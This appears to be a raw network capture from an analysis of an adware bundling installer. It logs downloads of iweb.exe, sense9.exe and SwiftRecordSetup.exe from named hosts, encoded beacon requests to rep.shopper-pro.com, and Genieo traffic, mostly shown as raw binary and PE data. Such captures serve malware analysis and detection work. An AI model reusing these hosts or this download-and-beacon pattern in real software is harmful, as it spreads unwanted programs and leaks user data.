.#g....l...p....'....%.........O.f.......Y..5..po..*...~......R......z
...../...o.4..7.E.L...2N.Y<B..^.............1...w.XE...........<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=7750000-7999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8000000-8249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



\[email protected]..$..=....w/}....&-...c.,[email protected].#.....K...F...
G..M.....R{)w....=..&..M."G......x.(/..w.K.=....\...D._.B....x.F..Z...
D(..._........p.F......=2....@.!...J}.......^..U.va.....t...........H.
......hS..O_Ix........ h./...Q.Rd..uZ.0...^2.X..9..^?.zC........&2..(.
./.....u...|?..(..dY........P..-.s..'...I....Q..N .lnpy....._..t.L..4.
...l...x.meB..MYb...T.B%........#....0o.E..)..H.&...DY5B{..o...v..t..%
...............^..$.b..h...S...G*....R..>..~.n.......*....R..pd.../
...o..3......5z! ....u.Y...........A|M. ........p2'..y.Im9..6.5;>..
."2.uR.....?.p\..(.....5D..T..O>@..)..{..%pJ}l_hgx..j.~&9$....O....
..qgp.'........]yd.Q.Zx0.-.]?QV>......Xb.=.=.8Z...'.K%.......(.....
t..q....j>...n........(..$.d..S...z..L.g..b.._uP..........|<X\D.
....q.....)...Rb.s......* >..N...G...\.....#^....1...R..{.."(.....*
..P.RYOq.L..~p..!w.....&M;m.y#........Hfr.d...F...Y..|../s.?|.........
...?=.(.cO^q.....}..k.p..!...&w..s.;[email protected]:...lz
.....3..........(..2......,..^.....27V^...h........}#...|.z.._PN....m?
-.k..$.].....~.P....-...."D.'#.}..)b(J....0..e..e.&..8T v.s.%.!..J....
.q....Ef..u...(:....E.>...........5.P.v.?M..".....9P......N..b....?
..L.0...}..khu.........:.?...#....><c.M...\3. .xv<......{C..{
...XZ....A.B.F..G.,.. ..,....../\.v.d.y`*.%..c.8..F7..{vy.............
....,...O.........z....tCR.e..sjS..^..F..5.<Q.^....~g....G...B.'...
.5. .....y..*........y.b...kd..z._.u.k'*.....G...n..Z.i..>.%.._.`.E
............B......v..Yg.......


GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=8750000-8999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=8750000-8999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9250000-9499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9750000-9999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..%...J.9h..*..w...Gg5Qv....(Wy.........\.....h.....NzE.............q.
...UG.z...vk..a....$.N.4..&..k<...8..._.{.....t........<..~%....
,.<Vy?..G.,L1....Lp7...F.....ia..z^8AU..!.u....Kg.ja..LV...A.....u.
....l.......*...H......,.V..nHB....t.......`........;..X.h..V....h...Z
3tC...K8S&T......o.F4I.....F..........X. d...o?1..YsP<.GW>....A.
.j...0=*......9:.fe.<..... ...[ob.....6.....l.k..U...vJ..A.x.J.);..
....>.. ...Y.0..;b4@r .....gR9..d.......!.7...?....WY.........E.1..
.7t.."v..O...v.....#@... he..e.c......AA.!...v#.SV.......'....d.)H.{.z
...?.KP..oJ..-.;.....q.pb..b....F.>..../../.....!k.7J...H..."..qF..
...M.w.....]!.`.)v..^.t-.......Q..4oZ....'0"._..s.o3.G........bdv....}
r=.I/........T~.L..2..s/V......'.........=P.. j.....[.hz].Q........Ts.
1....3.....(.\~.6>B?.D...?l.M`j.t....0.L.sI..ix<j?~W.....Ej..)..
._..a.;i$x...q.@...)N..[Z....p.Z;....^.............3.....#..J..|.N....
M..M...Eqp..`..Hv9...D....#.7m....V..-..._..g$..L.....;$S...'gB.)jz..G
.y.Y.x...F...Y.. <"...k........[...6P.`Y;.]..=...t.........^....!..
#UG7.\[email protected],..'t.....jk.3.xRd.7..bj.`.t...G.v....3^.|....M{.d
.i....q.....U.<;.. bu..3....q..,.....oQYC|i.........*.Wb..x.w..m3..
...>....y.C...U}).-..{.Pp..X...g...bo.^.o......../.7kM.....W.(w.c..
/..\a.9#....}J....5.v^Q..6.#.....t.]....?WnV.R....4K.P...z?#..2....j.J
d.........At..>.TR....k..a/...&....?.[..8b....91p.a\.i.U=.. .~n....
...C..T$$jy.ab.<K...!g...B396.o 7.....8Ed.....'..0.1.mS&.....kj|.'.
..3...w..U.@Y%_.u.NYA...\........Tgk..K.&|....e(...h.i\./h...W.q^&<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=9750000-9999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:39 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698357"

Last-Modified: Fri, 15 May 2015 13:59:17 GMT

Cache-Control: max-age=3413

Content-Length: 250000

Content-Range: bytes 9750000-9999999/10540512

Content-Type: application/x-msdownload

X-HW: 1431730960.dop009.am4.t,1431730959.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"
fa/..'......Ku....i......#...*.. u..9....37H !.....o...~\....x.~....N.
.0 ..(q.xlLg.....Cl&7..y..0E...G.."7..0@.][K..q...P...*....tHp..r..F.}
.t....8.n{....Q..~$izx9...Ey...I.Q...cj......D,E.=.s......JY.]...[t.E.
.M.t....D..!...-.C|8.SOw.B..6k.4?$\.G..i.J...uV..0.D...o. 1.....1..T..
...g-.........,..B..g....=.14..sE.y.6.....q.w...l.i..l.....o...A..W...
E...........~..D.....`R.B.....]#...$x.."d..9..)@5..&...Wmq..P.ZyH....N
u.o1W-..r}.A..k..X...d.z.|....2......Yqh.d.p.....f3!.cM...K.....q(z...
....!/...d.A.O3....W?V/(.e..Hm....<I.,7..y<5.5K.B.6.1G.0.Q....v.
l....h`T.M$e..?...o.....ji......k=.........J)z..5#....>s.W.}&;_.!$.
..y...t.J.m...G S..X....65{_f.`J...6{.4a../....8........*.=...WX <C
. .?...~.....G.."}3.......XK.......X.c..{......E@,....-...K...BN0n:..`
....;.]....Xf.[......h?....y}...=.#.)88.t.~k..?.K....{....^.W.......N3
.m......e..B.6......v{......y81....[...?..[..^.s=.b[4.....W..L..#.LV|E
n...k..ky....&o...k"E.....|d..e..N6.......G..^..W.?.s........2.@.}....
..5.R.8Q"[email protected]/'n.... j.z...LjVR.....~.;[email protected]
.tv..............g.,.sY....q Sy..X.......Dh......A>c."..._t..2.....
....f.d.....Rn ..KO./$I:.>...W=.^G7....R.[...N.6x.>..O.{..&.p..y
..U.'..?'....i'...D.G.VRv.n.5/E......x..KT]..,Z......C.....~...!..<
p..yoJ....!k..F)&........?U."..s-........6r....j`..B.R....r.V.. .0.rF.
 7D..x...Z.rÖ(e\.pd.........U...`...,..1....I..M*...mX..| .$...)....
.....w.L0.....8p.....E.......dD..4.."-....>..6..;......V.\..}.za...
..V.e..t........./1.J....).R (...K(.N....s.:/..g...(..............<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=10250000-10499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



_.. ...Y.........El6....ku..!x......q.o:...I..*y.P....g.....M&|..^ ..E
.8..0......f......u)Hl.@\.....|.3(K.G.....n...)...Nm.T&.....W...80($..
W.....L......d2H%......u...(# @.......Q.C..g../..w=7..5.........<&g
t;.qs....R....4.,...u...R9...Xqel|]o.WsS....D....XM.6...S5....au.q..}.
[..}....U]..1Y7.J.R" .O..d$w.n..y.~c.....F<.6!.l..q....#[...W...[..
z..C....k.N...g..F.....Rl93A..E........:.|...G.......I......0p.]....K.
%......K..3........i."..s.X..N^.f...\c4.~......S.*U..)..^..........._.
y...BN.z\._.......cV2.... Tm!....Q.K.%..x[.K)..K:vE...Q.....*.>....
..mN..*oTb....jc.....p....#w)K/K.X;U.,.)...6/..t.........C.'.DwW...m..
..F1E.>.s.......&.!...B.b...T.PU1.q.!..wY.!.g/I|/).^qx.5...F.....5P
.a...?KS}...2.^f.a;5.So.."L...V.'....$.u;..3......#.vZ}Z.....e..T..{.*
.Q.3.:D.{......n.........pA.zw.LS.._p$......g '..UQ.O.).R..M{..v......
...a...:.7.^......H...=Sv.M.H...B?....(.-C.9..wh.{g....r<Mu..|.....
.J.[..G..c....*2E#T'...&....6.<.YF./...0.{y.......%.Gf...3Z."&?..#.
.T0uO.]?......&efi.&..0.lu.D.5.....D.....1.|.P..DSp.8...1.Fp...uF..-..
...%u..0NH.......1..h..V=.......=&5..o.....r.xae..... .p.R.:.....J.|B.
...7..L..B..S....!...P9.A.P]..}v...J\..l...^..3pX.......!op...D...Z...
[email protected]|.../.'8.I.8#.: .... 1...6Z1..X...........J.I.nsmS .3..v..H.4....
v...5J.j....9.0.....f.\.Zw^.d..C.......*.3..cUo.e...(.8./.da...sI.....
[email protected]...;....a.^x<..R.j.=.%.........is.....t...........
?.....\....J..6e.X.#k$.~lY..,....1...B.F@<...]?.F.@u>...!..3i..&
gt;...w.G..^.u.......U.....J......Z5..L.&........At......?.H.....w<<< skipped >>>

GET /company/rss/posts.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: clubs.ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: max-age=0, proxy-revalidate

Expires: Fri, 15 May 2015 23:04:56 GMT

X-Frame-Options: SameOrigin

Content-Encoding: gzip
7414...............r\.u..{.).aJ)...t.F.2..% ;.{o.8'..TJ.$.dG ...../\D.
...Q..*Y..NbW..4.h`[email protected]........;K.;...zc.
...x.JR[..X./..vec.....W........OMf...w..{7nW..kK.......R...ON........
O.........i.{..g..bm..j}e=....j.....o...,LL.X...6~.:..1q.qg..|w.{....p
.N.._ .icuI.Y}..^].../.~6.\[_. O......^_j.....Tf.f......S..........R.{
.p...._...>a..{K..[......_.....g.....7.....mm..T...W.&...LR.^..,.L&
.V.*..7!......`...x./....j.X.W..[._..;~...Nuuq...1.^.q{"[.......n..k..
....q.."..._...w.K.C..K....p_.y^...........6O...lRNN.g.g....g.G.{.....
N..t.../&.....'.Q61.........?...lyv>{.........R..6...W.E.Zn\.......
q.Nmy}...._.........i/..^6`....fr.:{xv/....pr..F...x...~..2=M..d.Oq...
wO....O.._.&.Wk7.]..]...N.z}.&..{.......juym...>q.Oo..2b....U. .wp.
...........).g...f?...g......>..j.o..]..=d..6.Y...{...;.@....{e...{
.f..^......c..C........d.....Z.8p.....#G?w..of_.N.a...H..g..^&.J..O...
7.........Wnf....].............}v......#{P.#|.c..-.v...~.c.......L....
..O.....i.nvc.=./.......\......A....1.f....B......'..m.E.....Rx.l2....
.np..7./.w).7......5....n6..p...........:....^.a.....O.}...n..i'.)Z..D
p..X..i.....L.,..........~.VR]Z.v.Jr.V.u;..... .........MVG......;. ..
.$....o_.2S._.....~...........l....p.....Ha.......-.Z.4..<{....{e..
$.B...Q................b.N...6......q.S.v..........}.OcI..[..O...g..6.
.....p..W...">"..7.?.".G~.|.-\....m..<\.h<.5......LO.l%...7q.
....w...C\.p.p.#k.F-........H..=5.t.l.....c~BXI.........N..v/....../..
.....O]....M......(Z.]<.:.o..}.......h.:..h...vy..._. .....X.:.<<< skipped >>>

HEAD /company/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: clubs.ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://blog.yandex.ru

X-Frame-Options: SameOrigin

HTTP/1.1 302 Moved Temporarily..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:56 GMT..Content-Type: text/html..Content-Length: 160..Conn
ection: keep-alive..Location: hXXp://blog.yandex.ru..X-Frame-Options: 
SameOrigin......

GET /company/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: clubs.ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 302 Moved Temporarily

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 160

Connection: keep-alive

Location: hXXp://blog.yandex.ru

X-Frame-Options: SameOrigin
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.6.2</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.6.2..Date: Fri, 15 May 2015 23:04:56 GMT..Content-Ty
pe: text/html..Content-Length: 160..Connection: keep-alive..Location: 
hXXp://blog.yandex.ru..X-Frame-Options: SameOrigin..<html>..<
head><title>302 Found</title></head>..<body bg
color="white">..<center><h1>302 Found</h1></ce
nter>..<hr><center>nginx/1.6.2</center>..</bod
y>..</html>....

GET /app/ping.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoPcBL23M4DDdT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHpHixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8v0UNdTnuKmklYt96j8Hn3PgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:41 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOzU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX IiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2S8kAwCWYRnfH/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOz lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDYSn/GEjHBJE7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOz lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPyLLA1jov 552zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=1ZEnpGuz/IQLjT49fHfOTOVXkkreqF3Gt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPNIgdrQcZ7S7h1a7V4caBKqoNDoiIkn3W3mGs6iThnVH2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gZnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/L9FDXU57ippIo3Gv nP8wmYBlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=9OTdpoOUy6g5015vZaqaD9MOLLVkakX/ 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R66OCENySf/GC36WmHMFF47psrZDsYYadbOj/D8d98sTJIE6m2lhk6FB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDYSn/GEjHBJAODVeEYVPS89/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=KC46TpkJIZznGREG7sgANznTXm9lqpoP0w4stWRqRf/7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHiTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8v0UNdTnuKmkijca/6c/zCZgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:43 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:43 GMT..Content-Length: 0......

GET /app/ping.ashx?e=emKxDesqhYc5015vZaqaDwiWd9ggjWY2 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R4kyeawv50oOJw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj8iywNY6L/ueds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5XWQ10mKav51A8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:44 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=4mC0vXGWFtoLjT49fHfOTHhDx73wnB3Tt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7ME mqF/Q9vA/4o7K5XbeaB5kQ3UA/pU73iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvYE lx/pDm5qB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/xSNsMzh0F0pq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 465144

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:23 GMT

Date: Fri, 15 May 2015 23:02:23 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................q.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:31:24 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Fri, 15 May 2015 22:41:24 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 405

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 868e7340556a0aa2e4d1bad048f6f8e1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: aRBaK0S7pbhxIlAZcHx7bRGhaTwvClMWNfzuN-laMFbKRQTEj3fs2A==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=174429-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

